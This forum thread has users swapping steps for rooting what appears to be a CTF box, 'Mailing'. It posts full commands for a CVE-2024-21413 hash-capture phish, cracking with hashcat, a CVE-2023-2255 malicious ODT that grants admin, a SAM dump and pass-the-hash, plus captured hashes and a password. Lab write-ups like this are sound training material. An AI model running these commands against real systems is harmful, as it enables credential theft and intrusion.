[x0x31a]

1714859183[/url]']
evil-winrm -i <ip> -u maya -p m4y4ngs4ri

How u got these creds?

[ipfi]

1714859183[/url]']
evil-winrm -i <ip> -u maya -p m4y4ngs4ri

How u got these creds?

U get this credentials by cracking the ntlm hash from CVE-2024-21413 with responder.

https://github.com/xaitax/CVE-2024-21413...me-ov-file

---

its somewhere here cant get 
https://github.com/xaitax/CVE-2024-21413...me-ov-file

how did u come up with the cve?
Just assuming because there is a mailserver and a instruction on how to setup a mail client or any specific hints to find with lfi?

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching.

[br2023]

For those that haven't rooted:

git clone https://github.com/elweth-sec/CVE-2023-2255

python3 CVE-2023-2255.py --cmd 'net localgroup Administradores maya /add' --output 'exploit.odt'

> Start SMB Server
impacket-smbserver mailing `pwd` -smb2support

> copy file to C:\Important Documents
net use \\<ip>\mailing
copy \\<ip>\mailing\exploit.odt

> wait a few seconds then confirm maya is an admin
net user maya

>dump sam hash
crackmapexec smb <box-ip> -u maya -p "m4y4ngs4ri" --sam

> auth with localadmin hashes
impacket-wmiexec localadmin@<box-ip> -hashes "<hashes>"

After the " python3 CVE-2023-2255.py --cmd 'net localgroup Administradores maya /add' --output 'exploit.odt' " and " net user maya" showing the Administradores group, exit from the evil-winrm windows shell and evil-winrm with maya again. With this new shell maya will be able to get the root flag from localadmin directory. Nevertheless cracpmapexec and impacket-wmiexec is a good path to get the root flag.

[patRIOT]

any hint for root

use this CVE-2023-2255 for  root

https://github.com/elweth-sec/CVE-2023-2255

put  a odt   in this path  C:\Important Documents\

 localadmin runs it

how did u know if machine vulnerable with this exploit?? even in this machine is not installing libreoffice??

[br2023]

for getting the plaintext password from responder ntml hash

hashcat -m 5600 ntmlhash.txt rockyou.txt

[ipfi]

how do you came up with the Important Documents folder?
I can see the ps script in the localadmin documents directory but found no scheduled task with maya user.

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching.

[ZenMunk3y]

1714859183[/url]']
evil-winrm -i <ip> -u maya -p m4y4ngs4ri

How u got these creds?

U get this credentials by cracking the ntlm hash from CVE-2024-21413 with responder.

https://github.com/xaitax/CVE-2024-21413...me-ov-file

---

its somewhere here cant get 
https://github.com/xaitax/CVE-2024-21413...me-ov-file

how did u come up with the cve?
Just assuming because there is a mailserver and a instruction on how to setup a mail client or any specific hints to find with lfi?

I always take a look in the program files directory to see what is on the machine.  From there I could see that LibreOffice was installed and hence the CVE.  That's how I got to that part anyway.

[marco1337]

its somewhere here cant get 
https://github.com/xaitax/CVE-2024-21413...me-ov-file

maya::MAILING:dac4fe0aec512cc8:0ABF7016C9D7428230E543395441DBCD:010100000000000000EF6F99469EDA01293B5F358D9EF4DE0000000002000800540058005800340001001E00570049004E002D00380038003200520041004E005000380044004500500004003400570049004E002D00380038003200520041004E00500038004400450050002E0054005800580034002E004C004F00430041004C000300140054005800580034002E004C004F00430041004C000500140054005800580034002E004C004F00430041004C000700080000EF6F99469EDA01060004000200000008003000300000000000000000000000002000009BE5ABAC0CB766267616E7031B83C21B57E7A52A6903503167DE1974F23E1F3B0A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E0035000000000000000000

maya:m4y4ngs4ri

sudo responder -I tun0

python3 CVE-2024-21413.py --server mailing.htb --port 587 --username administrator@mailing.htb --password homenetworkingadministrator --sender administrator@mailing.htb --recipient maya@mailing.htb --url '\\<ip>' --subject XD

i cant get any result to my responder, is there anything to do? help me

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.

[Th3B4h0z]

its somewhere here cant get 
https://github.com/xaitax/CVE-2024-21413...me-ov-file

maya::MAILING:dac4fe0aec512cc8:0ABF7016C9D7428230E543395441DBCD:010100000000000000EF6F99469EDA01293B5F358D9EF4DE0000000002000800540058005800340001001E00570049004E002D00380038003200520041004E005000380044004500500004003400570049004E002D00380038003200520041004E00500038004400450050002E0054005800580034002E004C004F00430041004C000300140054005800580034002E004C004F00430041004C000500140054005800580034002E004C004F00430041004C000700080000EF6F99469EDA01060004000200000008003000300000000000000000000000002000009BE5ABAC0CB766267616E7031B83C21B57E7A52A6903503167DE1974F23E1F3B0A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E0035000000000000000000

maya:m4y4ngs4ri

sudo responder -I tun0

python3 CVE-2024-21413.py --server mailing.htb --port 587 --username administrator@mailing.htb --password homenetworkingadministrator --sender administrator@mailing.htb --recipient maya@mailing.htb --url '\\<ip>' --subject XD

i cant get any result to my responder, is there anything to do? help me

have no idea why , but it didn't work for me as well . the code below worked 

python3 CVE-2024-21413.py --server mailing.htb --port 587 --username administrator@mailing.htb --password homenetworkingadministrator --sender administrator@mailing.htb --recipient maya@mailing.htb --url '\\<ip>\something' --subject XD


--url '\\<ip>\something' -- added something to url

[node]

impacket-wmiexec localadmin@10.10.11.14 -hashes aad3b435b51404eeaad3b435b51404ee:9aa582783780d1546d62f2d102daefae

This did the trick thanks man cd to Desktop for root